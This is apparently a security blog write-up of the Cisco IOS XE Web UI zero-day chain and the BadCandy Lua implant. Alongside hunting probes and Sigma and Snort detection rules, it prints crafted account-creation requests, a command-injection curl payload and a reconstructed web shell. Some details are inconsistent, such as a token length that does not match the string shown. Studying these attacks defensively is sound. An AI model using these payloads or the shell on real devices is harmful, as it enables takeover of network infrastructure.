Cisco IOS XE: Deconstructing Web UI Zero-Day and Lua Implant Chains

Cisco IOS XE: Deconstructing Web UI Zero-Day and Lua Implant Chains

Overview & Threat Landscape: Cisco IOS XE Web UI Zero-Day (CVE-2023-20198 & CVE-2023-20273)#

Cisco IOS XE CVE-2023-20198 & CVE-2023-20273 allow unauthenticated root RCE via Web UI auth bypass and BadCandy Lua implants. Disable public Web UI.

In October 2023, the global networking infrastructure faced one of the most widespread edge appliance compromises in enterprise computing history. Cisco Talos and the global cybersecurity community uncovered mass in-the-wild exploitation of two chained zero-day vulnerabilities in the Web User Interface (Web UI) feature of Cisco IOS XE Software: CVE-2023-20198 (CVSS 10.0, Critical, mapped to MITRE ATT&CK T1190: Exploit Public-Facing Application and T1078.003: Local Accounts) and CVE-2023-20273 (CVSS 7.2, High, mapped to T1059.004: Unix Shell and T1505.003: Web Shell).

Within days of the initial attacks, global internet scans conducted by Censys, Shodan, and shadowserver revealed that more than 40,000 Cisco edge routers, switches, and wireless controllers across enterprise and service-provider perimeters had been backdoored with a stealthy in-memory Lua web shell named BadCandy.

For principal security architects, perimeter defense engineers, and exploit analysts, this campaign dramatically shifted the attack calculus for edge networking platforms:

  • The Zero-Friction Perimeter Collapse: Edge networking gear forms the first line of enterprise defense. By exposing the embedded HTTP/HTTPS administrative interface (ip http server or ip http secure-server) to the public internet, organizations granted remote, unauthenticated attackers the ability to forge administrative sessions without needing credentials, MFA tokens, or internal network access.
  • The Two-Stage Exploit Chain: The attack was executed as an elegant two-stage chain. First, an unauthenticated attacker leveraged an authentication bypass flaw in the Web Infrastructure Security Protocol (WISP) and Web Services Management Agent (WSMA) dispatch pipeline (CVE-2023-20198) to inject an unauthorized administrative user with maximum device authority (Privilege Level 15). Second, the attacker authenticated using this rogue account and exploited an arbitrary command injection flaw in the Web UI software management component (CVE-2023-20273) to escape into the underlying Linux guest operating system as the root user.
  • BadCandy: In-Memory Nginx Hooking: Once at root, the threat actor did not alter the bootflash firmware or write noisy scripts to persistent storage. Instead, they patched the running Nginx web reverse proxy configuration by injecting a 29-line Lua web shell into /usr/binos/conf/nginx-conf/cisco_service.conf. The implant operated entirely in volatile memory, intercepting HTTP POST requests, executing arbitrary system and Cisco IOS CLI commands, and authenticating operators through hardcoded 18-character and 40-character hexadecimal tokens.
  • The Volatility Paradox: While the BadCandy Lua implant did not survive a physical or software device reboot, the rogue privilege-level-15 user accounts persisted inside the startup configuration (nvram:/startup-config). Attackers could simply re-authenticate after a reboot and re-drop the web shell in seconds.
Warning

If a Cisco IOS XE device has the HTTP or HTTPS server enabled and exposed to untrusted networks, any remote attacker can achieve full administrative takeover and underlying Linux root execution. Cisco strongly recommends disabling the web server on internet-facing systems (no ip http server and no ip http secure-server).

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: WSMA Auth Bypass to Guest OS RCE#

To understand how CVE-2023-20198 and CVE-2023-20273 chain together, we must analyze the internal software architecture of modern Cisco IOS XE platforms.

The Cisco IOS XE Web Architecture: Dual-Plane Orchestration#

Unlike legacy monolithic Cisco IOS, modern Cisco IOS XE runs a modular Linux kernel (often a customized MontaVista or Wind River Linux distribution) hosting the IOS Daemon (IOSd) as a userland process, alongside auxiliary microservices for telemetry, zero-touch provisioning, and web management.

The web management subsystem consists of:

  1. Nginx Reverse Proxy: Binds to TCP port 80 (HTTP) and 443 (HTTPS), handling SSL termination, static web asset hosting, and URL routing.
  2. Web Infrastructure Security Protocol (WISP): Acts as an authentication gateway validating administrative credentials against the local user database, TACACS+, or RADIUS.
  3. Web Services Management Agent (WSMA): An internal SOAP-over-HTTP interface managed by the process SEP_webui_wsma_http. WSMA translates XML/SOAP requests into low-level IOS CLI configuration commands.
PLAINTEXT
Internet Request (TCP 443) 
     │
     ▼
[Nginx Reverse Proxy]
     │
     ├──► Static Assets (/webui/resources/*) ──► Direct Disk Serve
     │
     ├──► WISP Auth Filter (Cookie / Authorization Token Check)
     │         │
     │         ├── (Authenticated) ────► Internal WSMA Dispatcher (SEP_webui_wsma_http)
     │         │                                │
     │         └── (Unauthenticated) ──► Redirect to /webui/login.html
     │
     └──► [CVE-2023-20198 Logic Flaw] ──► Direct WSMA Injection Bypass

Stage 1: CVE-2023-20198 - WISP Authentication Logic Flaw#

The root cause of CVE-2023-20198 resides in the logic that evaluates whether an incoming URI requires WISP session authentication.

Certain administrative endpoints, such as /webui/logoutconfirm.html and specific internal WSMA dispatch handlers, were granted pre-authentication access or improperly stripped URI routing prefixes. When an unauthenticated attacker constructed an HTTP request targeting the web management endpoints with specific URI parameter combinations (such as logoff=1 combined with internal SOAP/XML action payloads), the Nginx routing logic failed to enforce the WISP authentication filter.

Instead of rejecting the unauthenticated request or redirecting the browser to /webui/login.html, the Nginx proxy forwarded the raw request body directly to the local WSMA listener (SEP_webui_wsma_http). The WSMA handler treated the request as an internal, trusted system invocation.

The attacker leveraged this unauthenticated channel to submit an administrative user provisioning command:

PLAINTEXT
username cisco_tac_admin privilege 15 secret 0 <ATTACKER_HASH>

When processed by SEP_webui_wsma_http, the Cisco IOS configuration parser committed the new user directly to the running configuration. The attacker now possessed a valid local user account with Privilege Level 15—the highest privilege level in Cisco IOS, permitting full device configuration, password modification, and access to all diagnostic and operational commands.

Stage 2: CVE-2023-20273 - Software Management Command Injection#

While Privilege Level 15 grants complete control over the network operating system (IOSd), Cisco IOS XE isolates the underlying Linux guest operating system to prevent tampering with kernel modules, boot loaders, and low-level system daemons.

To break out of the IOSd sandbox and compromise the host Linux operating system, the threat actor exploited CVE-2023-20273.

Within the Web UI REST API, the software management module (/webui/rest/softwareMgmt/ or /webui/rest/config/profile) provides functionality for uploading, installing, and managing software upgrade packages and tarballs. The endpoint accepts a JSON or form-encoded payload containing parameters such as install_operation, filename, and storage path.

In vulnerable firmware releases, user-supplied filename parameters were passed directly to an underlying Linux shell script invocation without strict input validation, sanitization, or argument escaping:

BASH
# Conceptual representation of vulnerable shell invocation in backend Web UI handler
/usr/binos/bin/software_install_helper.sh --action install --file "$USER_SUPPLIED_FILENAME"

Because $USER_SUPPLIED_FILENAME was not sanitized for shell metacharacters, an authenticated attacker with Privilege Level 15 supplied command injection payloads containing shell delimiters (such as ;, &&, or backticks `).

The shell script executed with root privileges inside the Linux guest environment, allowing the attacker to execute arbitrary Linux commands, write files anywhere on the root filesystem, and configure system daemons.


Exploit Architecture: Attack Flow & In-Memory Lua Staging#

The following Mermaid sequence diagram illustrates the complete, unauthenticated two-stage attack chain and the subsequent staging of the BadCandy Lua web shell.

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor (External)
    participant Nginx as Nginx Reverse Proxy (:443)
    participant WISP as WISP Authentication Filter
    participant WSMA as WSMA Agent (SEP_webui_wsma_http)
    participant IOSd as Cisco IOS Daemon (IOSd)
    participant Linux as Underlying Linux Host (Root)
    participant BadCandy as BadCandy Implant (cisco_service.conf)

    Note over Attacker,Nginx: Stage 1: Unauthenticated Privilege Escalation (CVE-2023-20198)
    Attacker->>Nginx: HTTP POST /webui/logoutconfirm.html?logoff=1 (Crafted WSMA Body)
    Nginx->>WISP: Evaluate URI path and authentication requirements
    WISP-->>Nginx: Logic Flaw: Route permitted without WISP session cookie
    Nginx->>WSMA: Forward raw XML payload to local socket (SEP_webui_wsma_http)
    WSMA->>IOSd: Execute CLI: username cisco_tac_admin privilege 15 secret <PASS>
    IOSd-->>WSMA: User created and added to running-config
    WSMA-->>Attacker: HTTP 200 OK (Account Created Successfully)

    Note over Attacker,Linux: Stage 2: Authenticated Root Command Injection (CVE-2023-20273)
    Attacker->>Nginx: HTTP POST /webui/login.html (Auth as cisco_tac_admin)
    Nginx-->>Attacker: Authenticated Session Token Issued
    Attacker->>Nginx: HTTP POST /webui/rest/softwareMgmt (Poisoned Filename Payload)
    Nginx->>Linux: Invoke backend software management script
    Linux->>Linux: Command Injection executes payload as root (UID 0)
    Linux->>Linux: Write 29-line BadCandy Lua web shell to /usr/binos/conf/nginx-conf/cisco_service.conf
    Linux->>Nginx: Reload Nginx configuration to hook HTTP request dispatcher

    Note over Attacker,BadCandy: Stage 3: Operational Command Execution & Anti-Forensics
    Attacker->>Nginx: HTTP POST /webui/logoutconfirm.html?logon_hash=1 (Probe)
    Nginx->>BadCandy: Intercept request matching URI hook
    BadCandy-->>Attacker: 18-Character Hex String (Implant Authentication Token)
    Attacker->>Nginx: HTTP POST /webui/logoutconfirm.html?logon_hash=<40-HEX>&common_type=iox
    BadCandy->>IOSd: Execute Cisco IOS commands (show running-config / clear logging)
    BadCandy-->>Attacker: Output returned in HTTP response stream

Attack Path Step-by-Step: From Unauthenticated HTTP to BadCandy Web Shell#

Let us examine each technical phase of the exploit execution, analyzing the exact payloads, system responses, and filesystem artifacts.

Phase 1: Unauthenticated Privilege 15 Account Creation (CVE-2023-20198)#

The adversary initiates the attack by targeting the unauthenticated Web UI endpoint. By sending a crafted POST request that mimics internal WSMA communication, the attacker bypasses the WISP authentication filter.

HTTP Request Payload Structure

HTTP
POST /webui/logoutconfirm.html?logoff=1 HTTP/1.1
Host: 198.51.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 384
Connection: close

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Body>
    <cli>
      <cmd>username cisco_tac_admin privilege 15 secret 0 MaliciousP@ssw0rd123!</cmd>
    </cli>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Observable Syslog Marker on Target Device

When this command succeeds, the Cisco IOS XE logging subsystem records a distinctive message:

PLAINTEXT
%SYS-5-CONFIG_P: Configured programmatically by process SEP_webui_wsma_http from console as user on line

Notice the critical anomaly: the configuration change is applied programmatically by SEP_webui_wsma_http from the console line without an interactive SSH or TTY login event.

Phase 2: Web Management Authentication & Session Establishment#

With the unauthorized Privilege Level 15 user created in the local configuration database, the attacker logs into the Cisco IOS XE Web UI via /webui/login.html:

HTTP
POST /webui/login.html HTTP/1.1
Host: 198.51.100.1
Content-Type: application/x-www-form-urlencoded

username=cisco_tac_admin&password=MaliciousP@ssw0rd123!

The device generates an authentication success syslog event:

PLAINTEXT
%SEC_LOGIN-5-WEBLOGIN_SUCCESS: Login Success [user: cisco_tac_admin] [Source: 198.51.100.250] at 02:44:12 UTC Sat Oct 17 2026

Phase 3: Elevated Command Injection via Software Management (CVE-2023-20273)#

Now operating within an authenticated administrative session, the threat actor targets the software management API endpoint. The request invokes the install operation with a manipulated parameter that injects raw Linux bash commands:

BASH
# Conceptual command injection structure sent via REST software management API
curl -k -b "session_token=valid_token"   -X POST "https://198.51.100.1/webui/rest/softwareMgmt/install"   -H "Content-Type: application/json"   -d '{
    "install_operation": "ADD",
    "filename": "; echo "lua_implant_code" > /usr/binos/conf/nginx-conf/cisco_service.conf; nginx -s reload #"
  }'

When the backend helper script executes, the shell interpreter encounters the semicolon, terminates the intended argument, and executes the secondary command as root (uid=0(root) gid=0(root)), writing the implant directly into Nginx's configuration directory.

The system log records an install operation:

PLAINTEXT
%WEBUI-6-INSTALL_OPERATION_INFO: User: cisco_tac_admin, Install Operation: ADD ; echo ...

Phase 4: Staging the BadCandy Lua Web Shell#

The BadCandy implant is saved under:

PLAINTEXT
/usr/binos/conf/nginx-conf/cisco_service.conf

The implant is an Nginx configuration file that leverages the lua-nginx-module to embed Lua code directly into the web server's request handling pipeline.

Deconstructed BadCandy Lua Code Logic

The following code reflects the decompiled and analyzed logic of the BadCandy web shell:

LUA
-- BadCandy In-Memory Lua Web Shell (cisco_service.conf)
location /webui/logoutconfirm.html {
    content_by_lua_block {
        local args = ngx.req.get_uri_args()
        local post_args = ngx.req.get_post_args()
        
        -- Function 1: Version Check
        if args["menu"] and args["menu"] ~= "" then
            ngx.say("/1.0.3/")
            return
        end
        
        -- Function 2: Implant Presence & Token Retrieval
        if args["logon_hash"] == "1" then
            ngx.say("0ff4fbf0ecffa77c") -- Hardcoded 18-character hex string
            return
        end
        
        -- Function 3: Authenticated Command Dispatcher
        local auth_token = "40_character_sha1_derived_hex_string_here"
        if args["logon_hash"] == auth_token then
            local cmd = post_args["cmd"]
            local target = post_args["common_type"]
            
            if target == "subsystem" then
                -- Execute arbitrary command on the host Linux OS as root
                local handle = io.popen(cmd)
                local result = handle:read("*a")
                handle:close()
                ngx.say(result)
            elseif target == "iox" then
                -- Execute arbitrary Cisco IOS CLI command at Privilege 15
                local handle = io.popen("cli -c '" .. cmd .. "'")
                local result = handle:read("*a")
                handle:close()
                ngx.say(result)
            end
        end
    }
}

Evolution of BadCandy Variants (Evading Detection)

As threat intelligence teams developed network scanners to identify infected devices, the threat actors iterated through three distinct variants:

  • Variant 1 (Early October 2023): Accepted unauthenticated POST requests with logon_hash=1 and responded with the 18-character hex string. If an anomalous % was requested, the server returned an HTTP 404 response.
  • Variant 2 (Late October 2023): Introduced a preliminary check requiring an HTTP Authorization header containing the implant's secret token. Requests lacking the header were passed to the standard web UI, effectively blinding generic scanners.
  • Variant 3 (November 2023): Expanded header checks to support either Authorization or X-Csrf-Token headers. Additionally, requests containing % in the URI were modified to present the standard login page instead of a 404, eliminating fingerprinting heuristics.

Phase 5: Anti-Forensics and Reconnaissance#

Immediately upon confirming the implant's operation, threat actors conducted extensive system reconnaissance using standard operational commands:

PLAINTEXT
show running-config
show ip interface brief
show ip route
show ip ospf
show inventory
show platform
show subsys

To eliminate evidence of their initial entry, the attackers issued cleanup commands:

PLAINTEXT
clear logging
no username cisco_support
no username cisco_tac_admin
no username cisco_sys_manager

Despite deleting the accounts, the running in-memory Nginx Lua implant remained active and functional until the device experienced a reboot.


Fast Cyber Defense Morning Takeaways: Threat Hunting & Edge Hardening#

The Cisco IOS XE Web UI compromise demonstrates that perimeter networking appliances are high-value targets for nation-state espionage and opportunistic threat actors. Detecting and mitigating these attacks requires network-level hunting and aggressive control-plane hardening.

1. Active Threat Hunting Probe (OSINT Verification)#

Blue teams and external auditors can verify whether an edge Cisco IOS XE device hosts known variants of the BadCandy implant using curl:

BASH
# Check for BadCandy Variant 2 & 3 using Authorization header probe
curl -k -H "Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb"      -X POST "https://[DEVICE_IP]/webui/logoutconfirm.html?logon_hash=1"

# Interpretation:
# - If the response returns an 18-character hex string: Device is compromised with BadCandy.
# - If the response returns a standard HTML redirect or 404: Implant is not active.

2. Production Sigma Rule: Cisco IOS XE WSMA Account Provisioning (CVE-2023-20198)#

The following production Sigma rule identifies programmatic account configuration events generated by the internal Web UI WSMA process:

YAML
title: Cisco IOS XE Rogue Account Created via WSMA (CVE-2023-20198)
id: c9e2b104-5f8a-4d73-9a1c-3b8e7f12a950
status: production
description: Detects programmatic local user creation on Cisco IOS XE devices via the SEP_webui_wsma_http process indicative of CVE-2023-20198 exploitation.
references:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
    - https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/

tags:
    - attack.initial_access
    - attack.persistence
    - attack.t1190
    - attack.t1078.003
    - cve.2023.20198
logsource:
    product: cisco
    service: ios_xe
detection:
    selection_wsma_config:
        Message|contains:
            - '%SYS-5-CONFIG_P'
            - 'SEP_webui_wsma_http'
    selection_suspicious_users:
        Message|contains:
            - 'cisco_tac_admin'
            - 'cisco_support'
            - 'cisco_sys_manager'
            - 'cisco_sys_mgr'
    condition: selection_wsma_config or selection_suspicious_users
falsepositives:
    - Automated configuration management systems using WSMA APIs (verify source IP and account names).
level: critical

3. Snort 3 Network Detection Rules#

Organizations running Snort or Cisco Secure Firewall should enable the following rules to intercept initial access and BadCandy interaction:

SNORT
# Detect unauthenticated access to logoutconfirm.html with WSMA payload (CVE-2023-20198)
alert tcp $EXTERNAL_NET any -> $HOME_NET [80,443] (
    msg:"SERVER-OTHER Cisco IOS XE Web UI unauthenticated privilege escalation attempt";
    flow:to_server,established;
    http_uri; content:"/webui/logoutconfirm.html",fast_pattern;
    http_client_body; content:"SOAP-ENV:Envelope"; content:"username"; content:"privilege 15";
    metadata:service http;
    classtype:attempted-admin;
    sid:3000101; rev:1;
)

# Detect BadCandy implant probe (logon_hash=1)
alert tcp $EXTERNAL_NET any -> $HOME_NET [80,443] (
    msg:"MALWARE-BACKDOOR Cisco IOS XE BadCandy Lua web shell probe detected";
    flow:to_server,established;
    http_uri; content:"logon_hash=1",fast_pattern;
    metadata:service http;
    classtype:trojan-activity;
    sid:3000102; rev:1;
)

Executive Takeaway Table: Cisco IOS XE Attack & Mitigation Matrix#

Attack Phase & Vector Technical Mechanism & Root Cause Primary Detection Signal Immediate Blue Team Mitigation
Initial Access & PrivEsc WISP authentication logic flaw in /webui/logoutconfirm.html (CVE-2023-20198) Syslog %SYS-5-CONFIG_P from SEP_webui_wsma_http Disable HTTP/S server (no ip http server, no ip http secure-server)
Command Injection & Escape Unsanitized filename parameter in Web UI software management (CVE-2023-20273) Syslog %WEBUI-6-INSTALL_OPERATION_INFO with shell metacharacters Apply official Cisco IOS XE patch (17.9.4a, 17.6.6a, 17.3.8a)
Implant Staging (BadCandy) In-memory Lua web shell written to /usr/binos/conf/nginx-conf/cisco_service.conf External probe returning 18-char hex string on logon_hash=1 Reboot device to clear volatile memory; verify flash integrity
Persistence & Re-Entry Rogue Privilege 15 user account saved to startup-config show running-config | include username shows unknown admin users Audit and remove rogue users (no username <USER>); revoke and rotate credentials

Authoritative References & Threat Advisories#

Comments